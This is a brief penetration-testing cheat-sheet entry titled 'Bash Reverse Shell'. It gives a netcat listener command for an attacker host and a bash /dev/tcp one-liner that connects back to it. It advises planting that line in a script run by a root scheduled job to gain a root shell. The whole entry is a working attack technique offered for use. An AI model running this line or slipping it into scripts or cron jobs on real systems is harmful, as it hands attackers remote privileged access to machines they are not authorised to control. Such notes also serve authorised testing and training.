Bash Reverse Shell
#attacker machine - ip of 10.0.0.1
nc -nlvp 8080
#On target machine with limited access, add the following line to sh when scheduled job is root
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Last updated